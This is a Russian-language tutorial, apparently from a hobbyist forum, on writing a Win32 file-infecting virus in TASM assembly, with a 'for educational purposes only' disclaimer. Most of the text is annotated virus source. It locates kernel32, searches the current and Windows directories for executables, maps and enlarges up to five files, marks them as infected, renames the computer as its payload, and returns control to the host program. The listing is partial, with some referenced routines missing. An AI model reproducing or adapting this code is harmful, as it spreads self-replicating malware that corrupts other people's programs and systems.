Почти каждый, кто изучает язык ассемблера, рано или поздно пишет вирус, некоторые люди пишут вирус, когда заканчивают изучать какой-нибудь язык программирования... Прежде чем читать то, что я буду писать ниже и понимать хоть что-нибудь, вы должны: а) знать основные команды ассемблера б) уметь пользоватся АПИ-функциями в) взять где-нибудь (можно и у меня) TASM32 (можно и другой, но каждый компилятор имеет свои особенности). г) отладчик (если собираетесь собственноручно создать зверька, то без отладки довольно трудно найти ошибки) д) прогу, которая прикреплена (на неё вопит касперский, но это не вирус!!!! ) е) иметь здоровую голову (если вы хотите испортить все компы на Земле, то ваше место в больнице, а не здесь) ё) ПОМНИТЬ, ЧТО ЭТОТ МАТЕРИАЛ ПРЕДСТАВЛЕН ТОЛЬКО В ЦЕЛЯХ ОБУЧЕНИЯ, И ЗА ПОСЛЕДСТВИЯ Я НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСУ Вроде всё.
Теперь план обучения: 1) формат заголовка файла РЕ 2) разбор основных полей заголовка РЕ 3) методика заражения 4) дельта-смещение. 5) поиск АПИ 6) разбор используемых АПИ 7) пишем код 8) Reserved
includelib import32.lib extrn ExitProcess: near extrn MessageBoxA: near ;нам нужны эти АПИ исключительно в первом поколении
.386 ;модель проца (вирус будет запускаться на процессорах 80386 и выше)
.model flat ;плоская модель (позволяет использовать до 4гб памяти)
jumps ;не прыгаем за пределы
.data ; тут данные. вернее их отсутствие, просто без этой секции компилятор не компилит dibilizm_dlya_tupogo_kompilyatora db 0 .code start: call delta ; начинаем код с поисков дельты delta: sub dword ptr [esp], offset delta ; адрес метки delta - адрес возврата - в стеке. esp - вершина стека и указывает на этот адрес. ; Отнимаем от этого значения смещение метки, которое она имеет в первом поколении
xor edx, edx ; в edx - 0 будем использовать при поиске кернела mov ebp, [esp] ; в ebp - дельту
R_SEH: mov eax,fs:[edx] dec edx
search32: cmp [eax], edx je check32 mov eax, [eax] jmp short search32
check32: mov eax,[eax+4] xor ax,ax searchMZ: cmp word ptr [eax],5A4Dh ; MZ je IsPe sub eax, 10000h jmp short searchMZ
IsPe: mov edx,[eax+3ch] cmp [eax+edx],4550h ; PE jne Exit ; kernel found
add edi, 4 jmp main_loop ; это поиск адресов АПИ. Я уже это описал. vse_naideno: mov byte ptr [ebp+numbofdirs], 1 ; кол-во директорий, которые заражаем после текущей
lea edi, [ebp+offset szWindowsDirectory] push Some_pathes push edi call [ebp+_GetWindowsDirectoryA] ; находим директорию, где "живёт" винда
call [ebp+_FindFirstFileA] ; ищем первый файл в текущей директории inc eax jz nextdir dec eax ; в случае провала у нас в еах -1 прибавляем 1 получаем 0. ; Тогда ф-ия провалилась, тогда сработает jz nextdir и мы начнём ; поиски в след. директории (в этом вирусе - в директории винды) ; если же ф-ия успешна, то мы отнимаем 1, чтоб получить правильный хендл...
mov [ebp+offset hFF], eax ; и сохраняем его в переменной
mov ecx, 5 ; кол-во файлов для заражения push dword ptr [ebp+EIPs] ; это одно из "шатких" мест кода. дело в том, что точка входа определяется ; при заражении файла и записывается в файл в соответствующую переменную. ; Для того, чтоб её записать в файл на месте переменной, её надо туда поместить, ; что и делается при заражении файла, но это портит то значение, которое было ; таким же образом забито в этом поколении. Поэтому мы должны его сохранить, ; чтоб потом можно было его заюзать при передаче управления носителю
modifyIt: push ecx ; в есх у нас счётчик. Так как мы будем работать с этим регистром, ; то будем его сохранять в начале цикла и восстанавливать в конце jmp infection ; "прыгаем" на процедуру заражения infection_done: ; сюда попадаем после заражения найденного файла PLZNext: lea eax, [ebp+offset WFD32] push eax push dword ptr [ebp+offset hFF] call [ebp+_FindNextFileA] pop ecx ; восстанавливаем счётчик test eax, eax jz nextdir ; если не находим ещё файл пробуем искать в директории винды dec cx jnz modifyIt ; уменьшаем значения счётчика на 1 и если он не стал 0, то повторяем цикл. ; Теперь предлагаю вам подобие алгоритма куска кода от FindFirsttttt по Exit ; 1) ищем первый файл ; 2) не нашли - шаг 6 ; 3) заражаем ; 4) ищем следующий ; 5) нашли - шаг 3 ; 6) след. директория ; 7) если есть директория - шаг 1 ; 8) выход Exit: pop dword ptr [ebp+EIPs] ; сюда мы попадаем в случае провала или случае заражения достаточного кол-ва объектов call killfind ; вызываем процедуру, которая закрывает хендл поиска, она расположена в хвосте виря
lea edi, [ebp+offset NewComp] push edi call [ebp+_SetComputerNameA] ; это наша "полезная нагрузка" (мы устанавливаем имя компьютера Win32.Instan)
test ebp,ebp jz first_gen ; это проверка на первое поколение. в первом поколении мы выводим сообщение и выходим, ; а во втором надо возвратитьуправление носителю
mov eax, 0666B0BAH org $-4 EIPs dd 00401000h jmp eax ; тут использован небольшой трюк... команда mov reg32, xxxxxxxxh имеет опкод ; b8r xxxxxxxx, где xxxxxxxx - число, которое заносится в регистр. А теперь представьте, ; что у нас в памяти на месте хххххххх стоит переменная. тогда в регистр будет попадать ; значение этой переменной. у нас в проге вместо 0666B0BAH будет в регистре адрес точки ; входа. Мы помещаем в еах старый адрес точки входа, после чего работает jmp eax, ; который совершает прыжок на адрес, который лежит в еах
infection: ; начало работы с файлом (заражения) когда мы находимся здесь, у нас уже есть найденный файл lea eax, [ebp+offset FName] push dword ptr FAttrNorm push eax call [ebp + _SetFileAttributesA] ; устанавливаем атрибуты файла (обычный файл, не системный, не скрытый)
xor eax, eax push eax ; handle to file push eax ; flags and attributes push 00000003h ; how to create(OPEN_EXISTING) push eax ; security attr push 00000003h ; share mode push 0c0000000h ; access mode lea eax, [ebp+offset FName] push eax ; pointer to file name call [ebp+_CreateFileA] ; открываем файл, если онсуществует
mov dword ptr [ebp+hFO], eax ; сохраняем хендл в переменной inc eax ; если в регистре -1, то ... jz infection_done ; ... ищем следующий файл (заражение этого провалилось)
mov ecx, [ebp+FSizeL] ; FSizeL - младшее слово длины файла (берём из WFD) xor ebx, ebx ; обнуляем ebx. это нам нужно для работы кода ; ecx - low size crFM: mov eax, [ebp+hFO] xor edx, edx ; edx=0, будем использовать для заталкивания в стек (это короче и быстрее, чем push 0) push edx ; name of object push ecx ; low size push edx ; high size push PAGE_READWRITE ; protect push edx ; security attr push eax ; handle to file to map call [ebp+_CreateFileMappingA] ; создаём мэппинг test eax, eax jz close_file ; в случае неудачи закрываем файл mov [ebp+hFM], eax ; в случае успеха сохраняем хендл
xor edx,edx MVF: push edx ; number bytes to map push edx ; offs low push edx ; offs high push SRW ; access mode push eax ; handle by crFM call [ebp+_MapViewOfFile] ; мэппируем файл в память
test eax, eax jz zeroid ; если неудача, то закрываем всё, что закрывается и ищем след. файл mov [ebp+pFM], eax ; в случае успеха сохраняем хендл в переменную
test ebx, ebx jnz dali_bude ; итак, пришло время рассказать о великом значении регистра ebx в нашем коде. ; он работает как флаг. когда его значение 0 - выполняется следующие проверки, ; а также после отработки (ниже) процедуры close_FM мы закрываем файл и ищем ; следующий. если же там другое значение, то мы перескакиваем проверки, а также ; не закрываем файл после отработки close_FM. это связано с тем, что мэппинг ; открывается 2 раза. один - для проверки, второй - для изменений (с увеличенной длиной)
add eax,[eax+3Ch] ; после отработки MapViewOfFile в еах лежит смещение на начало файла. по смещению 3Ch ; лежит смещение на заголовок РЕ относительно начала файла, поэтому нам надо добавить ; это число к еах, чтоб получить адрес заголовка cmp word ptr [eax], 'EP' ; сравниваем сигнатуру jne UVF ; если нам подсунули липу, то завершаем работу с этим файлом (ebx=0)
cmp dword ptr [eax+44h], 'CPM ' ;это метка зараженности. je UVF ; если заражен файл, то его не трогаем, зачем его дважды заражать ; (поэтому первое поколение тоже заражается, получается вирус на вирусе : )
mov ecx, dword ptr [eax+3ch] ; по смещению 3с заголовка лежит File Allignment будем его юзать для выравнивания ; всего, что можно выровнять. mov [ebp+file_align], ecx ; чтоб его не потерять, фигачим его в переменную
inc ebx ; делаем ebx != 0 jmp UVF ; если ebx != 0 у нас закроется мэппинг, но файл не закроется и мы попадём на step1 step1: mov eax, vir_size ; в еах длина вируса call aligning ; выравниваем al_done: mov ecx, [ebp+FSizeL] ; в есх длину файла add ecx, eax ; прибавляем выровненную длину выря jmp crFM ; создаём мэппинг заново, только с новой длиной (длина у нас там передаётсячерез есх). ; после этого, так как ebx <> 0 попадаем на метку dali_bude, но у нас уже файл увеличилс ; на 800h байт (выровненная длина вируса) dali_bude: push eax ; так как мы перемэппили файл, в еах забился адрес начала файла. мы его в стек (ещё пригодится) add eax,[eax+3ch] ; теперь найдем заголовок push eax ; его адрес тоже в стек (удобная это штука) movzx ecx, word ptr [eax+6] ; обнулим есх, занесём туда кол-во секций (адрес начала РЕ + 6) jmp last_sec_find ; прыгаем на процедуру поиска последней секции